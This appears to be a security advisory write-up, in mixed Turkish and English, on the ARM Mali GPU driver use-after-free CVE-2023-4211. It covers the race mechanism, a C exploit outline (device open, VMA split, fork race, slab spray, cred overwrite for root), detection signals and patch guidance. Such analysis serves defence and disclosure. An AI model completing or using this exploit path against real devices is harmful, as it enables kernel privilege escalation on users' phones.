Skip to content

CVE-2023-4211: Use-after-Free in ARM Mali GPU Driver (exploited in the wild)

Mali kernel driver'ının per-context mm_struct tracking pointer'ı üzerindeki bir lifecycle race, free edilmiş bir mm_struct'ın free sonrası referans edilmesine izin verir; unprivileged bir process, free edilmiş memory'ye ulaşmak için hatalı GPU memory bookkeeping'i tetikler. In-the-wild exploit edildi ve CISA KEV'de listelendi.

Mechanism

Invariant: kctx->process_mm, kendisinin her dereference'inden daha uzun yaşamalı

Mali driver'ı, kernel'in RSS accounting'i GPU-backed page'leri yansıtsın diye GPU page kullanımını sahip process'in memory descriptor'ına (mm_struct) geri yükler. Her Mali context'i (kctx), o descriptor'a bir pointer'ı kctx->process_mm'de cache'ler. Doğruluk invariant'ı basit: kctx->process_mm'i okuyup sonra üzerinde accounting yapan herhangi bir kod, operasyon süresince mm_struct'ın hâlâ canlı (refcount'lu veya başka şekilde pin'li) olduğunu garanti etmeli.

kbasep_os_process_page_usage_drain() bunu ihlal eder. Dizisi şu:

1. take the lock, read the old mm pointer into a local
2. set kctx->process_mm = NULL, drop the lock
3. synchronize_rcu()                 <-- long preemptible window
4. kbasep_add_mm_counter(mm, ...)    <-- uses the *local* mm copy
  1. ve 4. adımlar arasında driver, hiçbir reference count onu pin'lemezken mm_struct'a korumasız bir local reference tutar. Driver ayrıca context başına bir tracking VMA varsayar; o VMA'yı munmap() ile bölmek varsayımı kırar ve fork() ile birleşince bir process'in kctx'inin farklı, artık çıkmakta olan bir child'ın mm_struct'ını tutmasına yol açar. O child'ın mm_struct'ı free edilip reallocate edildiğinde 4. adım accounting delta'larını yeniden kullanılmış bir object'e yazar -- yüksek değerli, sık allocate edilen bir kernel structure'ı üzerinde klasik bir use-after-free.

mm_struct genel bir kmalloc cache'inde yaşadığı için bu, sıradan SLUB exploitation'ın giriş noktasıdır: free edilmiş slot'u kontrol edilebilir bir object'le reclaim et (slab-grooming, cross-cache-attack), sonra privilege escalation için onu corrupt et. Pattern, mali-gpu-iommu-race gibi diğer Mali GPU use-after-free LPE'lerinin yakın akrabasıdır. Daha genel olarak aynı reclaim-then-corrupt şablonu, ismi tarihsel bir "GPU" alias'ı olsa da gerçekte bir posix-cpu-timers race'i olan android-gpu-use-after-free-lpe dahil, subsystem'den bağımsız tüm kernel UAF LPE'lerini birleştirir.

Walkthrough

Bug tamamen standart process/memory syscall'ları artı bir Mali context üzerinden sürülür; özel privilege gerekmez.

/* 1. Open the Mali device and create a context. */
int mali = open("/dev/mali0", O_RDWR);
/* KBASE_IOCTL_VERSION_CHECK + KBASE_IOCTL_SET_FLAGS to init the context ... */

/* 2. Map the GPU tracking region, then split it so the single-VMA-per-context
 *    assumption is broken. munmap() of a middle page splits one VMA into two. */
void *track = mmap(NULL, 3 * PAGE_SIZE, PROT_READ|PROT_WRITE,
                   MAP_SHARED, mali, BASE_MEM_MAP_TRACKING_HANDLE);
munmap((char *)track + PAGE_SIZE, PAGE_SIZE);   /* split the tracking VMA */

Cross-process confusion fork() ile kurulur: child, Mali context'i parent'ın drain path'i child'ın mm_struct'ı üzerinde çalışacak şekilde devralır/işler.

pid_t pid = fork();
if (pid == 0) {
    /* child: trigger the context teardown path that schedules the drain,
     * then exit so its mm_struct is freed. */
    _exit(0);
}
/* parent: continue Mali operations that invoke
 * kbasep_os_process_page_usage_drain() during/after the child's exit.
 * The synchronize_rcu() window in the drain path overlaps the child's
 * mm_struct teardown. */

İki tarafı, drain mm free edilmiş descriptor'a işaret ederken çalışana kadar race et. Reclaim et ve corrupt et:

/* 3. After the free, spray the kmalloc cache that backs mm_struct with a
 *    controllable object to reclaim the freed slot. */
spray_reclaim_objects();

/* 4. The dangling kbasep_add_mm_counter() write now lands in the reused
 *    object. Steer it toward a corruption that yields kernel R/W, then
 *    overwrite cred/SELinux state for root. */

Zafiyetli bir driver'da (Midgard r12p0-r32p0, Bifrost r0p0-r42p0, Valhall r19p0-r42p0, 5th Gen r41p0-r42p0) beklenen davranış: KASAN build'leri kbasep_os_process_page_usage_drain() / kbasep_add_mm_counter() içinde bir use-after-free read/write raporlar. r43p0+ üzerinde kctx->process_mm lifecycle'ı cross-process etkileşimini elemek için yeniden yapılandırıldı, böylece path artık yabancı bir mm_struct'a dokunmaz.

Detection

  • kbasep_os_process_page_usage_drain veya process_mm accounting'ine atıf yapan KASAN use-after-free raporları doğrudan bir sinyaldir.
  • Bir Mali context canlıyken bir child process exit'inden sonra beklenmedik RSS accounting delta'ları, confused-mm path'inin çalıştığını gösterebilir.
  • CVE-2023-4211 CISA Known Exploited Vulnerabilities kataloğunda (3 Ekim 2023'te eklendi) ve Google TAG / Project Zero tarafından hedefli saldırılarda ticari spyware tarafından exploit edildiği raporlandı.

Mitigation

  • Mali Bifrost, Valhall ve 5th Gen Kernel Driver r43p0 veya sonrasına güncelle; Midgard kullanıcıları fix'li bir branch'e geçmeli.
  • Ekim 2023 Arm fix'ini yansıtan Android security patch level'ının OEM tarafından kurulduğundan emin ol.

References